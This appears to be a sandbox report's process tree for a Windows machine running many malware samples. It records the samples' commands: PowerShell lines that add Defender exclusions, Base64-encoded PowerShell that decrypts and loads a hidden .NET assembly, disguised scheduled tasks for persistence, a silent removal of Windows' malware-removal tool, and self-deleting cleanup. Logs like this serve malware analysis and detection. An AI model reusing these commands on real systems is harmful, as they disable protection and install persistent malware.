"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=CD2591F0BAB4557CCA14357E1A338ACF --mojo-platform-channel-handle=1936 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
5⤵
PID:3704

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=18174F4B4DB7E4BB39755EF0C235CF56 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=18174F4B4DB7E4BB39755EF0C235CF56 --renderer-client-id=4 --mojo-platform-channel-handle=2212 --allow-no-sandbox-job /prefetch:1
5⤵
PID:7752

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=687B6D3AEB24FB4C4285F0E4A978A65B --mojo-platform-channel-handle=2620 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
5⤵
PID:9540

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=B3FC66F52F3FDCFBC155D940BB8ABFA3 --mojo-platform-channel-handle=2800 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
5⤵
PID:9616

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=9299C883A61643740DF86902B2DC7AAB --mojo-platform-channel-handle=2628 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
5⤵
PID:5388

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
4⤵
PID:5724

C:\Users\Admin\Desktop\a\fd1.exe
"C:\Users\Admin\Desktop\a\fd1.exe"
2⤵
PID:1952

C:\Users\Admin\Desktop\a\fd1.exe
C:\Users\Admin\Desktop\a\fd1.exe
3⤵
PID:6568

C:\Users\Admin\Desktop\a\msfiler.exe
"C:\Users\Admin\Desktop\a\msfiler.exe"
2⤵
PID:7356

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEQAZQBzAGsAdABvAHAAXABhAFwAbQBzAGYAaQBsAGUAcgAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAbQBzAGYAaQBsAGUAcgAuAGUAeABlADsA
3⤵
PID:756

C:\Users\Admin\Desktop\a\msfiler.exe
C:\Users\Admin\Desktop\a\msfiler.exe
3⤵
PID:4516

C:\Users\Admin\Desktop\a\msfiler.exe
C:\Users\Admin\Desktop\a\msfiler.exe
3⤵
PID:6044

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\a\msfiler.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:6748

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msfiler.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:9456

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\mdnsresp.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:6828

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'mdnsresp.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:6656

C:\Users\Admin\Desktop\a\msmng2.exe
"C:\Users\Admin\Desktop\a\msmng2.exe"
2⤵
PID:688

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
sad
3⤵
PID:7496

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
sad
3⤵
PID:5384

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:6804

C:\Users\Admin\Desktop\a\test.exe
"C:\Users\Admin\Desktop\a\test.exe"
2⤵
PID:3536

C:\Users\Admin\Desktop\a\cmd.exe
"C:\Users\Admin\Desktop\a\cmd.exe"
2⤵
PID:7724

C:\Users\Admin\Desktop\a\cmt.exe
"C:\Users\Admin\Desktop\a\cmt.exe"
2⤵
PID:3596

C:\Users\Admin\Desktop\a\vnc.exe
"C:\Users\Admin\Desktop\a\vnc.exe"
2⤵
PID:5772

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgANQAwADAAMAApAAoACgAkAFQAZQBtAHAARABpAHIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAKACQAUABhAHQAdABlAHIAbgAgAD0AIAAnAGYAaQBsAGUALQAqAC4AcAB1AHQAaQBrACcACgAkAEwAYQB0AGUAcwB0AEYAaQBsAGUAIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAVABlAG0AcABEAGkAcgAgAC0ARgBpAGwAdABlAHIAIAAkAFAAYQB0AHQAZQByAG4AIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAATABhAHMAdABXAHIAaQB0AGUAVABpAG0AZQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxAAoACgBmAHUAbgBjAHQAaQBvAG4AIADjicZbIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAKWUGVMsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkABFUz5EsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAHBlbmMKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkAKBSxltoViAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJACgUsZbaFYuAE0AbwBkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwBpAHAAaABlAHIATQBvAGQAZQBdADoAOgBDAEIAQwAKACAAIAAgACAAJACgUsZbaFYuAFAAYQBkAGQAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUABhAGQAZABpAG4AZwBNAG8AZABlAF0AOgA6AFAASwBDAFMANwAKAAoAIAAgACAAIAAkAOOJxltoViAAPQAgACQAoFLGW2hWLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQApZQZUywAIAAkABFUz5EpAAoAIAAgACAAIAAkAOOJxltwZW5jIAA9ACAAJADjicZbaFYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAHBlbmMsACAAMAAsACAAJABwZW5jLgBMAGUAbgBnAHQAaAApAAoACQAKACAAIAAgACAAcgBlAHQAdQByAG4AIAAkAOOJxltwZW5jCgB9AAoACgAkAKWUGVMgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAAxAEQALAAgADAAeAA4ADMALAAgADAAeABFADQALAAgADAAeABDAEEALAAgADAAeABDADAALAAgADAAeAA4AEYALAAgADAAeAA5AEEALAAgADAAeABBADYALAAgADAAeAAzAEIALAAgADAAeAAzAEEALAAgADAAeAA1AEEALAAgADAAeAAzAEQALAAgADAAeAA4ADUALAAgADAAeAA5ADcALAAgADAAeABDADkALAAgADAAeAA3ADEALAAgADAAeAAxADAALAAgADAAeAAwADcALAAgADAAeAAwADcALAAgADAAeAA5AEMALAAgADAAeAA2ADYALAAgADAAeABGAEEALAAgADAAeAA2ADMALAAgADAAeAAzAEIALAAgADAAeABGAEYALAAgADAAeABFAEEALAAgADAAeAA4ADUALAAgADAAeABBAEQALAAgADAAeAA3AEUALAAgADAAeABBAEYALAAgADAAeABBAEUALAAgADAAeAA0AEEAKQAKACQAEVTPkSAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADkAMQAsACAAMAB4AEYAMgAsACAAMAB4AEEAOQAsACAAMAB4ADUARAAsACAAMAB4ADYAOAAsACAAMAB4AEMARAAsACAAMAB4ADEANwAsACAAMAB4AEYAOQAsACAAMAB4ADYAQwAsACAAMAB4AEMAOQAsACAAMAB4ADgANQAsACAAMAB4ADUAMQAsACAAMAB4ADcANwAsACAAMAB4ADcAQQAsACAAMAB4ADgAMAAsACAAMAB4AEMANAApAAoACgBpAGYAIAAoACQATABhAHQAZQBzAHQARgBpAGwAZQAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAIdl9k7vjYRfIAA9ACAAJABMAGEAdABlAHMAdABGAGkAbABlAC4ARgB1AGwAbABOAGEAbQBlAAoAIAAgACAAIAAkAKBSxltXW4KCIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAIdl9k7vjYRfKQA7AAoAIAAgACAAIAAkAOOJxluFUblbIAA9ACAA44nGWyAALQCllBlTIAAkAKWUGVMgAC0AEVTPkSAAJAARVM+RIAAtAHBlbmMgACQAoFLGW1dbgoIKAAoAIAAgACAAIAAkAAt6j17GliAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQA44nGW4VRuVspACkAOwAKACAAIAAgACAAJABlUeNTuXAgAD0AIAAkAAt6j17Gli4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7AAoAIAAgACAAIAAkAGVR41O5cC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA
3⤵
- Command and Scripting Interpreter: PowerShell
PID:4924

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Desktop\a\vnc.exe" -Force
4⤵
- Command and Scripting Interpreter: PowerShell
PID:9956

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe"
4⤵
PID:5484

C:\Windows\System32\svchost.exe
"C:\Windows\System32\svchost.exe"
4⤵
PID:2264

C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe"
4⤵
PID:5252

C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe /stext "C:\Users\Admin\AppData\Local\Temp\yndjzukksdjeltisaqwsnuear"
5⤵
PID:9540

C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe /stext "C:\Users\Admin\AppData\Local\Temp\ihqbamvmglbrnzwwjbjtyzrrawuu"
5⤵
PID:9844

C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe /stext "C:\Users\Admin\AppData\Local\Temp\ihqbamvmglbrnzwwjbjtyzrrawuu"
5⤵
PID:9880

C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe /stext "C:\Users\Admin\AppData\Local\Temp\tbwmaxgfuttwxosibmdnbmlajdeddoxb"
5⤵
PID:840

C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe /stext "C:\Users\Admin\AppData\Local\Temp\tbwmaxgfuttwxosibmdnbmlajdeddoxb"
5⤵
PID:10140

C:\Users\Admin\Desktop\a\findlawthose.exe
"C:\Users\Admin\Desktop\a\findlawthose.exe"
2⤵
PID:4652

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k move Bullet Bullet.cmd & Bullet.cmd & exit
3⤵
PID:6316

C:\Users\Admin\Desktop\a\smss.exe
"C:\Users\Admin\Desktop\a\smss.exe"
2⤵
PID:2680

C:\Users\Admin\Desktop\a\smss.exe
"C:\Users\Admin\Desktop\a\smss.exe"
3⤵
PID:9924

C:\Users\Admin\Desktop\a\crypted333.exe
"C:\Users\Admin\Desktop\a\crypted333.exe"
2⤵
PID:5208

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:308

C:\Users\Admin\Desktop\a\pub11.exe
"C:\Users\Admin\Desktop\a\pub11.exe"
2⤵
PID:1428

C:\Users\Admin\Desktop\a\crypted.exe
"C:\Users\Admin\Desktop\a\crypted.exe"
2⤵
PID:1164

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:9276

C:\Users\Admin\Desktop\a\installer.exe
"C:\Users\Admin\Desktop\a\installer.exe"
2⤵
PID:3184

C:\Users\Admin\Desktop\a\danko.exe
"C:\Users\Admin\Desktop\a\danko.exe"
2⤵
PID:8252

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
3⤵
- Creates scheduled task(s)
PID:2276

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
3⤵
- Creates scheduled task(s)
PID:1684

C:\Users\Admin\Desktop\a\build.exe
"C:\Users\Admin\Desktop\a\build.exe"
2⤵
PID:9352

C:\Users\Admin\AppData\Local\Temp\onefile_9352_133604128013051758\stub.exe
"C:\Users\Admin\Desktop\a\build.exe"
3⤵
PID:7604

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "ver"
4⤵
PID:9884

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
4⤵
PID:7516

C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
5⤵
PID:8744

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist"
4⤵
PID:8204

C:\Windows\system32\tasklist.exe
tasklist
5⤵
- Enumerates processes with tasklist
PID:8272

C:\Users\Admin\Desktop\a\888.exe
"C:\Users\Admin\Desktop\a\888.exe"
2⤵
PID:9400

C:\Users\Admin\Desktop\a\univ.exe
"C:\Users\Admin\Desktop\a\univ.exe"
2⤵
PID:9264

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "univ.exe" /f & erase "C:\Users\Admin\Desktop\a\univ.exe" & exit
3⤵
PID:2176

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "univ.exe" /f
4⤵
- Kills process with taskkill
PID:6420

C:\Users\Admin\Desktop\a\nine.exe
"C:\Users\Admin\Desktop\a\nine.exe"
2⤵
PID:9428

C:\Users\Admin\Desktop\a\Kaxhwswfup.exe
"C:\Users\Admin\Desktop\a\Kaxhwswfup.exe"
2⤵
PID:1944

C:\Users\Admin\Desktop\a\taskmgr.exe
"C:\Users\Admin\Desktop\a\taskmgr.exe"
2⤵
PID:5452

C:\Users\Admin\Desktop\a\Windows.exe
"C:\Users\Admin\Desktop\a\Windows.exe"
2⤵
PID:8248

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath C:\
3⤵
- Command and Scripting Interpreter: PowerShell
PID:5820

C:\Users\Admin\Documents\images.exe
"C:\Users\Admin\Documents\images.exe"
3⤵
PID:9624

C:\Users\Admin\Desktop\a\univ.exe
"C:\Users\Admin\Desktop\a\univ.exe"
2⤵
PID:7380

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:5744

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 4016 -ip 4016
1⤵
PID:1244

C:\ProgramData\Google\Chrome\updater.exe
C:\ProgramData\Google\Chrome\updater.exe
1⤵
PID:6380

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
2⤵
PID:6392

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
2⤵
PID:6400

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
2⤵
PID:6408

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
2⤵
PID:6416

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe
2⤵
PID:6428

C:\Windows\system32\conhost.exe
conhost.exe
2⤵
PID:6488

C:\ProgramData\taskmgr.exe
C:\ProgramData\taskmgr.exe
1⤵
PID:956

C:\ProgramData\xiyorhiuewkj\adwmbjfsmbak.exe
C:\ProgramData\xiyorhiuewkj\adwmbjfsmbak.exe
1⤵
PID:6716

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
2⤵
- Command and Scripting Interpreter: PowerShell
PID:7288

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
2⤵
PID:1716

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
3⤵
PID:6480

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
2⤵
PID:7044

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
2⤵
PID:7216

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
2⤵
PID:5612

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
2⤵
PID:5520

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe
2⤵
PID:7088

C:\Windows\explorer.exe
explorer.exe
2⤵
PID:5564

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 7568 -ip 7568
1⤵
PID:4692

C:\Windows\SysWOW64\DllHost.exe
"C:\Windows\SysWOW64\DllHost.exe" /Processid:{5250E46F-BB09-D602-5891-F476DC89B700}
1⤵
PID:6960

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:6368

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 352 -p 4504 -ip 4504
1⤵
PID:4524

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /0
1⤵
PID:3768

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /1
2⤵
PID:7920

C:\ProgramData\taskmgr.exe
C:\ProgramData\taskmgr.exe
1⤵
PID:7192

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /0
1⤵
PID:7812

C:\Windows\SysWOW64\dialer.exe
"C:\Windows\system32\dialer.exe"
1⤵
PID:4180

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 6756 -ip 6756
1⤵
PID:2392

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 6756 -ip 6756
1⤵
PID:5000

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:9928

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#llzqlmcx#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Windows Upgrade Manager' /tr '''C:\Users\Admin\Windows Upgrade\wupgrdsv.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Windows Upgrade Manager' -RunLevel 'Highest' -Force; }
1⤵
PID:9900

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:8704

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAVABhAGcAcwAuAGUAeABlADsA
1⤵
- Command and Scripting Interpreter: PowerShell
PID:8304

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "Windows Upgrade Manager"
1⤵
PID:7304

C:\Users\Admin\Windows Upgrade\wupgrdsv.exe
"C:\Users\Admin\Windows Upgrade\wupgrdsv.exe"
1⤵
PID:8656

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
